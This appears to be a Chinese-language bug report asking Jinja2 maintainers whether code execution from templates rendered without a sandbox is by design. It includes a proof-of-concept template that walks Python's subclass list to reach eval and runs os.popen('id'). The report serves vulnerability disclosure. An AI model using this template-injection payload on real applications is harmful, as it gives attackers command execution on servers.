Jinja: 在没有沙箱环境的模板中执行任意代码。

当我在我的项目中使用 Jinja2 模板框架时，我找到了一种调用“os.popen('id')”或其他没有全局寄存器的函数的方法。
当攻击者可以控制模板内容时，很容易获得shell。 是这样的设计吗？

概念验证：

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

我用 python2 (2.7.10) 和 Jinja2 (2.8) 测试了这段代码，如果它有效将打印你用户的 uid...